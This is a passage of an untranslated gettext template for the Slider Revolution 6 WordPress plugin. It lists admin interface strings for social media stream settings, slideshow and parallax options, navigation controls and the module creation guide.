"" #: admin/views/builder-slider-forms.php:752 msgid "Consumer Key" msgstr "" #: admin/views/builder-slider-forms.php:752 msgid "Enter Consumer Key" msgstr "" #: admin/views/builder-slider-forms.php:753 msgid "Cons. Secret" msgstr "" #: admin/views/builder-slider-forms.php:753 msgid "Enter Secret" msgstr "" #: admin/views/builder-slider-forms.php:754 msgid "Access Token" msgstr "" #: admin/views/builder-slider-forms.php:754 msgid "Enter Access Token" msgstr "" #: admin/views/builder-slider-forms.php:755 msgid "Access Secret" msgstr "" #: admin/views/builder-slider-forms.php:755 msgid "Enter Access Secret" msgstr "" #: admin/views/builder-slider-forms.php:759 msgid "" "Please " "register your application with Twitter
            to get the right values" msgstr "" #: admin/views/builder-slider-forms.php:769 msgid "FaceBook Settings" msgstr "" #: admin/views/builder-slider-forms.php:772 #: admin/views/builder-slider-forms.php:800 msgid "Slides (<25)" msgstr "" #: admin/views/builder-slider-forms.php:774 msgid "Page URL" msgstr "" #: admin/views/builder-slider-forms.php:774 msgid "Enter FaceBook Page URL" msgstr "" #: admin/views/builder-slider-forms.php:776 #: admin/views/builder-slider-forms.php:842 #: admin/views/builder-slider-forms.php:850 msgid "Album" msgstr "" #: admin/views/builder-slider-forms.php:777 msgid "TimeLine" msgstr "" #: admin/views/builder-slider-forms.php:780 msgid "Select Album" msgstr "" #: admin/views/builder-slider-forms.php:782 msgid "APP ID" msgstr "" #: admin/views/builder-slider-forms.php:782 msgid "Enter the App ID" msgstr "" #: admin/views/builder-slider-forms.php:783 msgid "APP Secret" msgstr "" #: admin/views/builder-slider-forms.php:783 msgid "Enter the App Secret" msgstr "" #: admin/views/builder-slider-forms.php:787 msgid "" "Please register your Website app with Facebook
            to " "get the right values" msgstr "" #: admin/views/builder-slider-forms.php:797 msgid "YouTube Settings" msgstr "" #: admin/views/builder-slider-forms.php:802 msgid "Enter Api Key" msgstr "" #: admin/views/builder-slider-forms.php:806 msgid "" "Find information about the YouTube API key " "here" msgstr "" #: admin/views/builder-slider-forms.php:809 msgid "Channel ID" msgstr "" #: admin/views/builder-slider-forms.php:809 msgid "Enter YouTube Channel ID" msgstr "" #: admin/views/builder-slider-forms.php:811 msgid "Playlist" msgstr "" #: admin/views/builder-slider-forms.php:812 #: admin/views/builder-slider-forms.php:844 #: admin/views/builder-slider-forms.php:856 msgid "Channel" msgstr "" #: admin/views/builder-slider-forms.php:815 msgid "Select Playlist" msgstr "" #: admin/views/builder-slider-forms.php:820 msgid "" "See how to find the Youtube channel ID here" msgstr "" #: admin/views/builder-slider-forms.php:825 msgid "" "The “YouTube Stream” content source is used to display a full stream of " "videos from a channel/playlist.
            If you want to display a single youtube " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:835 msgid "Vimeo Settings" msgstr "" #: admin/views/builder-slider-forms.php:838 msgid "Slides (<60)" msgstr "" #: admin/views/builder-slider-forms.php:841 #: admin/views/builder-slider-forms.php:847 msgid "User" msgstr "" #: admin/views/builder-slider-forms.php:850 msgid "Enter Album Id" msgstr "" #: admin/views/builder-slider-forms.php:853 msgid "Enter Group Name" msgstr "" #: admin/views/builder-slider-forms.php:856 msgid "Enter Channel Name" msgstr "" #: admin/views/builder-slider-forms.php:860 msgid "" "The “Vimeo Stream” content source is used to display a full stream of videos " "from a user/album/group/channel.
            If you want to display a single vimeo " "video, please select the content source “Default Slider” and add a video " "layer in the slide editor." msgstr "" #: admin/views/builder-slider-forms.php:871 msgid "General Settings" msgstr "" #: admin/views/builder-slider-forms.php:875 msgid "Dynamic Viewport Loading" msgstr "" #: admin/views/builder-slider-forms.php:878 msgid "ViewPort Stop" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Wait" msgstr "" #: admin/views/builder-slider-forms.php:881 msgid "Pause" msgstr "" #: admin/views/builder-slider-forms.php:893 msgid "Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:897 msgid "Auto Rotate Slideshow" msgstr "" #: admin/views/builder-slider-forms.php:899 msgid "Stop on Hover" msgstr "" #: admin/views/builder-slider-forms.php:900 msgid "Loop One Slide" msgstr "" #: admin/views/builder-slider-forms.php:901 msgid "Stop after N Loops" msgstr "" #: admin/views/builder-slider-forms.php:908 msgid "Random Order" msgstr "" #: admin/views/builder-slider-forms.php:911 msgid "Wait for API" msgstr "" #: admin/views/builder-slider-forms.php:922 msgid "Other 1. Slide" msgstr "" #: admin/views/builder-slider-forms.php:923 msgid "#" msgstr "" #: admin/views/builder-slider-forms.php:925 msgid "Diff. Anim" msgstr "" #: admin/views/builder-slider-forms.php:927 msgid "Transitions" msgstr "" #: admin/views/builder-slider-forms.php:929 #: admin/views/builder-slide-forms.php:462 #: admin/views/builder-layer-forms.php:1134 msgid "Duration" msgstr "" #: admin/views/builder-slider-forms.php:930 msgid "Slot Amount" msgstr "" #: admin/views/builder-slider-forms.php:937 #: admin/views/builder-slider-forms.php:1049 msgid "Disable on Mobile" msgstr "" #: admin/views/builder-slider-forms.php:939 msgid "Disable Slider" msgstr "" #: admin/views/builder-slider-forms.php:940 msgid "Disable Ken B." msgstr "" #: admin/views/builder-slider-forms.php:946 msgid "Hide Under Browser width..." msgstr "" #: admin/views/builder-slider-forms.php:949 msgid "Marked Layers" msgstr "" #: admin/views/builder-slider-forms.php:950 msgid "All Layers" msgstr "" #: admin/views/builder-slider-forms.php:955 msgid "Mobile Settings" msgstr "" #: admin/views/builder-slider-forms.php:957 msgid "HTML5 Autoplay" msgstr "" #: admin/views/builder-slider-forms.php:961 msgid "Option is depricated and will be removed in upcoming updates !" msgstr "" #: admin/views/builder-slider-forms.php:970 msgid "Browser behavior" msgstr "" #: admin/views/builder-slider-forms.php:973 msgid "Next on Browser Focus" msgstr "" #: admin/views/builder-slider-forms.php:974 msgid "Disable Blur/Focus behav." msgstr "" #: admin/views/builder-slider-forms.php:984 #: admin/views/builder-slide-forms.php:31 msgid "WPML" msgstr "" #: admin/views/builder-slider-forms.php:986 msgid "Use WPML Settings" msgstr "" #: admin/views/builder-slider-forms.php:1000 msgid "Module Defaults" msgstr "" #: admin/views/builder-slider-forms.php:1004 msgid "Default Basics" msgstr "" #: admin/views/builder-slider-forms.php:1006 msgid "Module ID" msgstr "" #: admin/views/builder-slider-forms.php:1007 msgid "Module Classes" msgstr "" #: admin/views/builder-slider-forms.php:1008 msgid "Wrapper Classes" msgstr "" #: admin/views/builder-slider-forms.php:1009 msgid "Slide Duration" msgstr "" #: admin/views/builder-slider-forms.php:1010 msgid "Initialization Delay" msgstr "" #: admin/views/builder-slider-forms.php:1011 msgid "Layers are Selectable" msgstr "" #: admin/views/builder-slider-forms.php:1017 msgid "Default New Layer Settings" msgstr "" #: admin/views/builder-slider-forms.php:1019 #: admin/views/builder-layer-forms.php:378 msgid "Intelligent Inheriting" msgstr "" #: admin/views/builder-slider-forms.php:1020 msgid "Responsive Between Devices" msgstr "" #: admin/views/builder-slider-forms.php:1021 #: admin/views/builder-layer-forms.php:385 msgid "Responsive Offsets" msgstr "" #: admin/views/builder-slider-forms.php:1022 #: admin/views/builder-layer-forms.php:386 msgid "Responsive Children" msgstr "" #: admin/views/builder-slider-forms.php:1037 msgid "Scroll Based Features" msgstr "" #: admin/views/builder-slider-forms.php:1040 msgid "Parallax" msgstr "" #: admin/views/builder-slider-forms.php:1041 #: admin/views/builder-layer-forms.php:1595 msgid "Timeline" msgstr "" #: admin/views/builder-slider-forms.php:1046 msgid "Parallax Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1048 msgid "3D Effects Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1054 msgid "Timelines Scroll based" msgstr "" #: admin/views/builder-slider-forms.php:1058 msgid "Speed" msgstr "" #: admin/views/builder-slider-forms.php:1061 msgid "Fix during Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1066 msgid "Module Fixed From" msgstr "" #: admin/views/builder-slider-forms.php:1067 msgid "Module Fixed Until" msgstr "" #: admin/views/builder-slider-forms.php:1073 msgid "Use Full Screen or Full Width Layout to Use Fixed Scroll." msgstr "" #: admin/views/builder-slider-forms.php:1080 msgid "Scroll based Effects" msgstr "" #: admin/views/builder-slider-forms.php:1089 msgid "Mouse Interaction" msgstr "" #: admin/views/builder-slider-forms.php:1091 msgid "Triggered by" msgstr "" #: admin/views/builder-slider-forms.php:1092 msgid "Mouse Move" msgstr "" #: admin/views/builder-slider-forms.php:1093 msgid "Scroll Position" msgstr "" #: admin/views/builder-slider-forms.php:1094 msgid "Mouse Move & Scroll" msgstr "" #: admin/views/builder-slider-forms.php:1096 msgid "Parallax Orig." msgstr "" #: admin/views/builder-slider-forms.php:1097 msgid "Mouse Enter Point" msgstr "" #: admin/views/builder-slider-forms.php:1098 msgid "Slider Center" msgstr "" #: admin/views/builder-slider-forms.php:1100 msgid "Mouse Speed" msgstr "" #: admin/views/builder-slider-forms.php:1101 msgid "BG Speed" msgstr "" #: admin/views/builder-slider-forms.php:1102 msgid "Layers Speed" msgstr "" #: admin/views/builder-slider-forms.php:1108 msgid "3D Settings" msgstr "" #: admin/views/builder-slider-forms.php:1111 msgid "On Background Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1112 msgid "Slider Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1113 msgid "Layers Overflow Hidden" msgstr "" #: admin/views/builder-slider-forms.php:1115 msgid "3D Crop Fix (z)" msgstr "" #: admin/views/builder-slider-forms.php:1116 #: admin/views/builder-slide-forms.php:261 msgid "BG 3D Depth" msgstr "" #: admin/views/builder-slider-forms.php:1121 msgid "Depths" msgstr "" #: admin/views/builder-slider-forms.php:1124 msgid "1." msgstr "" #: admin/views/builder-slider-forms.php:1125 msgid "6." msgstr "" #: admin/views/builder-slider-forms.php:1126 msgid "11." msgstr "" #: admin/views/builder-slider-forms.php:1129 msgid "2." msgstr "" #: admin/views/builder-slider-forms.php:1130 msgid "7." msgstr "" #: admin/views/builder-slider-forms.php:1131 msgid "12." msgstr "" #: admin/views/builder-slider-forms.php:1134 msgid "3." msgstr "" #: admin/views/builder-slider-forms.php:1135 msgid "8." msgstr "" #: admin/views/builder-slider-forms.php:1136 msgid "13." msgstr "" #: admin/views/builder-slider-forms.php:1139 msgid "4." msgstr "" #: admin/views/builder-slider-forms.php:1140 msgid "9." msgstr "" #: admin/views/builder-slider-forms.php:1141 msgid "14." msgstr "" #: admin/views/builder-slider-forms.php:1144 msgid "5." msgstr "" #: admin/views/builder-slider-forms.php:1145 msgid "10." msgstr "" #: admin/views/builder-slider-forms.php:1146 msgid "15." msgstr "" #: admin/views/builder-slider-forms.php:1156 msgid "Use Default on..." msgstr "" #: admin/views/builder-slider-forms.php:1158 msgid "Layers" msgstr "" #: admin/views/builder-slider-forms.php:1168 msgid "Scroll Effects Default" msgstr "" #: admin/views/builder-slider-forms.php:1171 #: admin/views/builder-slide-forms.php:305 msgid "Grayscale" msgstr "" #: admin/views/builder-slider-forms.php:1172 #: admin/views/builder-slide-forms.php:300 msgid "Blur" msgstr "" #: admin/views/builder-slider-forms.php:1173 msgid "Max Blur Strength" msgstr "" #: admin/views/builder-slider-forms.php:1174 msgid "Layers default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1175 msgid "Slides default Enabled" msgstr "" #: admin/views/builder-slider-forms.php:1179 msgid "Scroll Effects Settings" msgstr "" #: admin/views/builder-slider-forms.php:1182 #: admin/views/builder-nav-forms.php:811 msgid "Direction" msgstr "" #: admin/views/builder-slider-forms.php:1185 #: admin/views/builder-layer-forms.php:326 msgid "Both" msgstr "" #: admin/views/builder-slider-forms.php:1188 msgid "Disable Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1189 msgid "Offset (Tilt) Effect" msgstr "" #: admin/views/builder-slider-forms.php:1190 msgid "Factor on BG's" msgstr "" #: admin/views/builder-slider-forms.php:1191 msgid "Factor on Layers" msgstr "" #: admin/views/builder-slider-forms.php:1205 msgid "Loading Type" msgstr "" #: admin/views/builder-slider-forms.php:1208 #: admin/views/builder-layer-forms.php:179 msgid "Lazy Loading" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "All" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Smart" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "Single" msgstr "" #: admin/views/builder-slider-forms.php:1208 msgid "No Lazy Loading" msgstr "" #: admin/views/builder-slider-forms.php:1216 msgid "Fallback Settings" msgstr "" #: admin/views/builder-slider-forms.php:1218 msgid "Simplify on IOS4 / IE8" msgstr "" #: admin/views/builder-slider-forms.php:1220 msgid "Alt. Image" msgstr "" #: admin/views/builder-slider-forms.php:1221 #: admin/views/builder-nav-forms.php:831 #: admin/views/builder-layer-forms.php:240 msgid "Off" msgstr "" #: admin/views/builder-slider-forms.php:1222 msgid "On Mobile" msgstr "" #: admin/views/builder-slider-forms.php:1223 msgid "On IE8" msgstr "" #: admin/views/builder-slider-forms.php:1224 msgid "On Mobile and IE8" msgstr "" #: admin/views/builder-slider-forms.php:1228 msgid "Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1228 #: admin/views/builder-slide-forms.php:56 msgid "Enter Image URL" msgstr "" #: admin/views/builder-slider-forms.php:1236 msgid "jQuery & OutPut Filters" msgstr "" #: admin/views/builder-slider-forms.php:1238 msgid "jQuery No Conflict Mode" msgstr "" #: admin/views/builder-slider-forms.php:1239 msgid "Put JS to Body" msgstr "" #: admin/views/builder-slider-forms.php:1243 msgid "Output Filter" msgstr "" #: admin/views/builder-slider-forms.php:1245 msgid "By Compressing Output" msgstr "" #: admin/views/builder-slider-forms.php:1246 msgid "By Echo Output" msgstr "" #: admin/views/builder-slider-forms.php:1248 msgid "Debug Mode" msgstr "" #: admin/views/builder-slider-forms.php:1261 admin/views/modals-builder.php:74 #: admin/views/modals-builder.php:109 admin/views/modals-builder.php:141 msgid "Next Step" msgstr "" #: admin/views/modals-copyright.php:19 msgid "Copyright & Licensing - Slider Revolution Library" msgstr "" #: admin/views/builder-timeline.php:28 msgid "No Sticky Keyframes" msgstr "" #: admin/views/builder-timeline.php:29 msgid "Single Layer Sticky" msgstr "" #: admin/views/builder-timeline.php:30 msgid "Hierarchy Sticky" msgstr "" #: admin/views/builder-timeline.php:37 msgid "Set all Timings" msgstr "" #: admin/views/builder-timeline.php:70 msgid "Slide BG Animation" msgstr "" #: admin/views/builder-timeline.php:81 msgid "Global Layers Timeline" msgstr "" #: admin/views/builder-timeline.php:89 msgid "FREE POSITIONED LAYERS" msgstr "" #: admin/views/builder-nav-forms.php:18 admin/views/builder-slide-forms.php:23 #: admin/views/builder-slide-forms.php:559 msgid "Progress" msgstr "" #: admin/views/builder-nav-forms.php:19 admin/views/builder-nav-forms.php:53 #: admin/views/modals-builder.php:226 msgid "Arrows" msgstr "" #: admin/views/builder-nav-forms.php:20 admin/views/builder-nav-forms.php:246 #: admin/views/modals-builder.php:227 msgid "Bullets" msgstr "" #: admin/views/builder-nav-forms.php:21 admin/views/builder-nav-forms.php:391 #: admin/views/modals-builder.php:228 msgid "Tabs" msgstr "" #: admin/views/builder-nav-forms.php:22 admin/views/builder-nav-forms.php:575 #: admin/views/modals-builder.php:229 msgid "Thumbs" msgstr "" #: admin/views/builder-nav-forms.php:23 msgid "Prev Size" msgstr "" #: admin/views/builder-nav-forms.php:24 admin/views/builder-nav-forms.php:782 msgid "Touch" msgstr "" #: admin/views/builder-nav-forms.php:25 msgid "Keyboard" msgstr "" #: admin/views/builder-nav-forms.php:26 msgid "Mouse" msgstr "" #: admin/views/builder-nav-forms.php:27 msgid "Nav Editor" msgstr "" #: admin/views/builder-nav-forms.php:37 admin/views/builder-nav-forms.php:40 msgid "Progress Bar" msgstr "" #: admin/views/builder-nav-forms.php:43 admin/views/modals-builder.php:322 #: admin/views/builder-layer-forms.php:1170 #: admin/views/builder-layer-forms.php:1556 #: admin/views/builder-layer-forms.php:1562 msgid "Color" msgstr "" #: admin/views/builder-nav-forms.php:46 msgid "Height" msgstr "" #: admin/views/builder-nav-forms.php:56 admin/views/builder-nav-forms.php:60 #: admin/views/builder-nav-forms.php:249 admin/views/builder-nav-forms.php:252 #: admin/views/builder-nav-forms.php:253 admin/views/builder-nav-forms.php:400 #: admin/views/builder-nav-forms.php:401 admin/views/builder-nav-forms.php:583 #: admin/views/builder-nav-forms.php:584 admin/views/builder-layer-forms.php:29 #: admin/views/builder-layer-forms.php:502 msgid "Style" msgstr "" #: admin/views/builder-nav-forms.php:57 admin/views/builder-nav-forms.php:189 #: admin/views/builder-nav-forms.php:250 admin/views/builder-nav-forms.php:396 #: admin/views/builder-nav-forms.php:579 #: admin/views/builder-slide-forms.php:573 #: admin/views/builder-layer-forms.php:394 msgid "Visibility" msgstr "" #: admin/views/builder-nav-forms.php:58 admin/views/builder-nav-forms.php:76 msgid "Left Arrow" msgstr "" #: admin/views/builder-nav-forms.php:59 admin/views/builder-nav-forms.php:135 msgid "Right Arrow" msgstr "" #: admin/views/builder-nav-forms.php:61 msgid "Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:64 msgid "Arrow Type" msgstr "" #: admin/views/builder-nav-forms.php:68 msgid "Arrow Style" msgstr "" #: admin/views/builder-nav-forms.php:69 admin/views/builder-nav-forms.php:262 #: admin/views/builder-nav-forms.php:410 admin/views/builder-nav-forms.php:593 msgid "No Style" msgstr "" #: admin/views/builder-nav-forms.php:83 admin/views/builder-nav-forms.php:138 #: admin/views/builder-nav-forms.php:280 admin/views/builder-nav-forms.php:427 #: admin/views/builder-nav-forms.php:610 msgid "Aligned by" msgstr "" #: admin/views/builder-nav-forms.php:85 admin/views/builder-nav-forms.php:140 #: admin/views/builder-nav-forms.php:282 admin/views/builder-nav-forms.php:429 msgid "Module Dimension" msgstr "" #: admin/views/builder-nav-forms.php:95 admin/views/builder-nav-forms.php:149 #: admin/views/builder-nav-forms.php:291 admin/views/builder-nav-forms.php:447 #: admin/views/builder-nav-forms.php:630 #: admin/views/builder-layer-forms.php:442 msgid "Alignment" msgstr "" #: admin/views/builder-nav-forms.php:124 admin/views/builder-nav-forms.php:177 #: admin/views/builder-nav-forms.php:324 admin/views/builder-nav-forms.php:513 #: admin/views/builder-nav-forms.php:695 msgid "From Left" msgstr "" #: admin/views/builder-nav-forms.php:125 admin/views/builder-nav-forms.php:178 #: admin/views/builder-nav-forms.php:325 admin/views/builder-nav-forms.php:514 #: admin/views/builder-nav-forms.php:696 msgid "From Right" msgstr "" #: admin/views/builder-nav-forms.php:126 admin/views/builder-nav-forms.php:179 #: admin/views/builder-nav-forms.php:326 admin/views/builder-nav-forms.php:515 #: admin/views/builder-nav-forms.php:697 msgid "From Top" msgstr "" #: admin/views/builder-nav-forms.php:127 admin/views/builder-nav-forms.php:180 #: admin/views/builder-nav-forms.php:327 admin/views/builder-nav-forms.php:516 #: admin/views/builder-nav-forms.php:698 msgid "From Bottom" msgstr "" #: admin/views/builder-nav-forms.php:128 admin/views/builder-nav-forms.php:181 #: admin/views/builder-nav-forms.php:328 admin/views/builder-nav-forms.php:517 #: admin/views/builder-nav-forms.php:699 msgid "Zoom In" msgstr "" #: admin/views/builder-nav-forms.php:129 admin/views/builder-nav-forms.php:182 #: admin/views/builder-nav-forms.php:329 admin/views/builder-nav-forms.php:518 #: admin/views/builder-nav-forms.php:700 msgid "Zoom Out" msgstr "" #: admin/views/builder-nav-forms.php:192 admin/views/builder-nav-forms.php:334 #: admin/views/builder-nav-forms.php:522 admin/views/builder-nav-forms.php:704 msgid "RTL Direction" msgstr "" #: admin/views/builder-nav-forms.php:193 admin/views/builder-nav-forms.php:331 #: admin/views/builder-nav-forms.php:520 admin/views/builder-nav-forms.php:702 msgid "Show Speed" msgstr "" #: admin/views/builder-nav-forms.php:194 admin/views/builder-nav-forms.php:332 #: admin/views/builder-nav-forms.php:521 admin/views/builder-nav-forms.php:703 msgid "Show Delay" msgstr "" #: admin/views/builder-nav-forms.php:196 admin/views/builder-nav-forms.php:336 #: admin/views/builder-nav-forms.php:524 admin/views/builder-nav-forms.php:706 msgid "Show Always" msgstr "" #: admin/views/builder-nav-forms.php:205 admin/views/builder-nav-forms.php:345 #: admin/views/builder-nav-forms.php:533 admin/views/builder-nav-forms.php:717 msgid "Hide Under" msgstr "" #: admin/views/builder-nav-forms.php:210 admin/views/builder-nav-forms.php:350 #: admin/views/builder-nav-forms.php:538 admin/views/builder-nav-forms.php:722 msgid "Hide Over" msgstr "" #: admin/views/builder-nav-forms.php:217 admin/views/builder-nav-forms.php:357 msgid "Navigation Style" msgstr "" #: admin/views/builder-nav-forms.php:224 admin/views/builder-nav-forms.php:364 #: admin/views/builder-nav-forms.php:552 admin/views/builder-nav-forms.php:736 msgid "Global Style Presets" msgstr "" #: admin/views/builder-nav-forms.php:227 admin/views/builder-nav-forms.php:367 #: admin/views/builder-nav-forms.php:554 admin/views/builder-nav-forms.php:738 msgid "Preset" msgstr "" #: admin/views/builder-nav-forms.php:228 admin/views/builder-nav-forms.php:368 #: admin/views/builder-nav-forms.php:555 admin/views/builder-nav-forms.php:739 msgid "Load" msgstr "" #: admin/views/builder-nav-forms.php:236 admin/views/builder-nav-forms.php:377 #: admin/views/builder-nav-forms.php:563 admin/views/builder-nav-forms.php:747 msgid "Override Style on Slide" msgstr "" #: admin/views/builder-nav-forms.php:257 msgid "Bullets Type" msgstr "" #: admin/views/builder-nav-forms.php:261 msgid "Bullets Style" msgstr "" #: admin/views/builder-nav-forms.php:271 msgid "Gap" msgstr "" #: admin/views/builder-nav-forms.php:272 admin/views/builder-nav-forms.php:419 #: admin/views/builder-nav-forms.php:602 msgid "Orientation" msgstr "" #: admin/views/builder-nav-forms.php:274 admin/views/builder-nav-forms.php:421 #: admin/views/builder-nav-forms.php:604 admin/views/builder-nav-forms.php:794 #: admin/views/builder-layer-forms.php:1280 msgid "Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:275 admin/views/builder-nav-forms.php:422 #: admin/views/builder-nav-forms.php:605 admin/views/builder-nav-forms.php:795 #: admin/views/builder-layer-forms.php:1275 msgid "Vertical" msgstr "" #: admin/views/builder-nav-forms.php:319 msgid "Bullets Visibility" msgstr "" #: admin/views/builder-nav-forms.php:395 admin/views/builder-nav-forms.php:578 msgid "Main Style" msgstr "" #: admin/views/builder-nav-forms.php:398 admin/views/builder-nav-forms.php:478 #: admin/views/builder-nav-forms.php:581 admin/views/builder-nav-forms.php:659 msgid "Size" msgstr "" #: admin/views/builder-nav-forms.php:399 admin/views/builder-nav-forms.php:495 #: admin/views/builder-nav-forms.php:582 admin/views/builder-nav-forms.php:677 msgid "Wrapper" msgstr "" #: admin/views/builder-nav-forms.php:405 msgid "Tabs Type" msgstr "" #: admin/views/builder-nav-forms.php:409 msgid "Tabs Style" msgstr "" #: admin/views/builder-nav-forms.php:435 admin/views/builder-nav-forms.php:618 msgid "Inner / Outer" msgstr "" #: admin/views/builder-nav-forms.php:437 admin/views/builder-nav-forms.php:620 msgid "Inner" msgstr "" #: admin/views/builder-nav-forms.php:438 admin/views/builder-nav-forms.php:621 msgid "Outer Vertical" msgstr "" #: admin/views/builder-nav-forms.php:439 admin/views/builder-nav-forms.php:622 msgid "Outer Horizontal" msgstr "" #: admin/views/builder-nav-forms.php:471 admin/views/builder-nav-forms.php:654 msgid "Visible amount" msgstr "" #: admin/views/builder-nav-forms.php:503 admin/views/builder-nav-forms.php:685 msgid "Span" msgstr "" #: admin/views/builder-nav-forms.php:508 msgid "Tabs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:545 admin/views/builder-nav-forms.php:729 msgid "Style Global" msgstr "" #: admin/views/builder-nav-forms.php:588 msgid "Thumb Type" msgstr "" #: admin/views/builder-nav-forms.php:592 msgid "Thumbs Style" msgstr "" #: admin/views/builder-nav-forms.php:690 msgid "Thumbs Visibility" msgstr "" #: admin/views/builder-nav-forms.php:760 msgid "Nav Image Dimensions" msgstr "" #: admin/views/builder-nav-forms.php:763 msgid "Preview Image" msgstr "" #: admin/views/builder-nav-forms.php:767 admin/views/builder-slide-forms.php:88 msgid "Image from Stream if exists" msgstr "" #: admin/views/builder-nav-forms.php:779 msgid "Swipe Settings" msgstr "" #: admin/views/builder-nav-forms.php:785 msgid "Mobile Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:786 msgid "Desktop Swipe Enabled" msgstr "" #: admin/views/builder-nav-forms.php:787 msgid "Block Scroll" msgstr "" #: admin/views/builder-nav-forms.php:789 msgid "Velocity" msgstr "" #: admin/views/builder-nav-forms.php:790 msgid "Min. Finger" msgstr "" #: admin/views/builder-nav-forms.php:792 msgid "Swipe Dir" msgstr "" #: admin/views/builder-nav-forms.php:804 msgid "Keyboard Settings" msgstr "" #: admin/views/builder-nav-forms.php:807 msgid "Keyboard Arrow Navigation" msgstr "" #: admin/views/builder-nav-forms.php:813 msgid "Left/Right Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:814 msgid "Up/Down Arrow Keys" msgstr "" #: admin/views/builder-nav-forms.php:822 msgid "Mouse Scroll Settings" msgstr "" #: admin/views/builder-nav-forms.php:825 msgid "Mouse Scroll Navigation" msgstr "" #: admin/views/builder-nav-forms.php:830 #: admin/views/builder-layer-forms.php:240 msgid "On" msgstr "" #: admin/views/builder-nav-forms.php:835 msgid "Reverse Scroll" msgstr "" #: admin/views/builder-nav-forms.php:837 #: admin/views/builder-layer-forms.php:783 #: admin/views/builder-layer-forms.php:784 msgid "Reverse" msgstr "" #: admin/views/header.php:127 msgid "Please Wait..." msgstr "" #: admin/views/modals-builder.php:20 msgid "Module Creation Guide" msgstr "" #: admin/views/modals-builder.php:27 msgid "" "This Guide will help you with the basic configuration *
            of your Slider " "Revolution 6 Module." msgstr "" #: admin/views/modals-builder.php:29 msgid "Start Guide" msgstr "" #: admin/views/modals-builder.php:31 msgid "Quit Guide" msgstr "" #: admin/views/modals-builder.php:38 msgid "" "* All settings adjusted by the guide can be changed later.
            Click the " "Help Icon to find options & documentation" msgstr "" #: admin/views/modals-builder.php:70 admin/views/modals-builder.php:105 #: admin/views/modals-builder.php:137 admin/views/modals-builder.php:181 msgid "Previous Step" msgstr "" #: admin/views/modals-builder.php:72 msgid "Module Type" msgstr "" #: admin/views/modals-builder.php:107 msgid "Module Dimensions" msgstr "" #: admin/views/modals-builder.php:139 msgid "Responisvity" msgstr "" #: admin/views/modals-builder.php:142 admin/views/modals-builder.php:185 msgid "Go to Editor" msgstr "" #: admin/views/modals-builder.php:183 msgid "Customization" msgstr "" #: admin/views/modals-builder.php:201 msgid "Layer Import" msgstr "" #: admin/views/modals-builder.php:208 msgid "Import Selected Layers" msgstr "" #: admin/views/modals-builder.php:222 msgid "Navigation Editor" msgstr "" #: admin/views/modals-builder.php:224 msgid "Save Navigation" msgstr "" #: admin/views/modals-builder.php:232 msgid "Factory Skins" msgstr "" #: admin/views/modals-builder.php:237 msgid "Add New Navigation " msgstr "" #: admin/views/modals-builder.php:269 admin/views/builder-slide-forms.php:510 msgid "Class" msgstr "" #: admin/views/modals-builder.php:294 msgid "CSS" msgstr "" #: admin/views/modals-builder.php:294 msgid "Markup" msgstr "" #: admin/views/modals-builder.php:300 msgid "Markup Meta" msgstr "" #: admin/views/modals-builder.php:301 msgid "Slide Title" msgstr "" #: admin/views/modals-builder.php:302 msgid "Slide Description" msgstr "" #: admin/views/modals-builder.php:303 admin/views/builder-slide-forms.php:643 msgid "Parameter 1" msgstr "" #: admin/views/modals-builder.php:304 admin/views/builder-slide-forms.php:644 msgid "Parameter 2" msgstr "" #: admin/views/modals-builder.php:305 admin/views/builder-slide-forms.php:645 msgid "Parameter 3" msgstr "" #: admin/views/modals-builder.php:306 admin/views/builder-slide-forms.php:646 msgid "Parameter 4" msgstr "" #: admin/views/modals-builder.php:307 admin/views/builder-slide-forms.php:647 msgid "Parameter 5" msgstr "" #: admin/views/modals-builder.php:308 admin/views/builder-slide-forms.php:648 msgid "Parameter 6" msgstr "" #: admin/views/modals-builder.php:309 admin/views/builder-slide-forms.php:649 msgid "Parameter 7" msgstr "" #: admin/views/modals-builder.php:310 admin/views/builder-slide-forms.php:650 msgid "Parameter 8" msgstr "" #: admin/views/modals-builder.php:311 admin/views/builder-slide-forms.php:651 msgid "Parameter 9" msgstr "" #: admin/views/modals-builder.php:312 admin/views/builder-slide-forms.php:652 msgid "Parameter 10" msgstr "" #: admin/views/modals-builder.php:316 msgid "Meta Values" msgstr "" #: admin/views/modals-builder.php:318 msgid "Add New Meta" msgstr "" #: admin/views/modals-builder.php:321 msgid "Meta Config" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:532 msgid "Font Family" msgstr "" #: admin/views/modals-builder.php:322 admin/views/builder-layer-forms.php:127 msgid "Icon" msgstr "" #: admin/views/modals-builder.php:352 admin/views/modals-builder.php:353 msgid "Can not be Empty" msgstr "" #: admin/views/modals-builder.php:353 msgid "Handle" msgstr "" #: admin/views/modals-builder.php:372 msgid "CSS/JS Editor" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM CSS" msgstr "" #: admin/views/modals-builder.php:372 msgid "CUSTOM JS" msgstr "" #: admin/views/modals-builder.php:380 msgid "Methods" msgstr "" #: admin/views/modals-builder.php:382 msgid "Call this function to start the slider." msgstr "" #: admin/views/modals-builder.php:382 msgid "Start Slider" msgstr "" #: admin/views/modals-builder.php:388 msgid "Call this function to pause the slider." msgstr "" #: admin/views/modals-builder.php:394 msgid "Call this function to play the slider if it is paused." msgstr "" #: admin/views/modals-builder.php:394 msgid "Resume Slider" msgstr "" #: admin/views/modals-builder.php:400 msgid "Switch slider to previous slide." msgstr "" #: admin/views/modals-builder.php:406 msgid "Switch slider to next slide." msgstr "" #: admin/views/modals-builder.php:412 msgid "Scroll page under 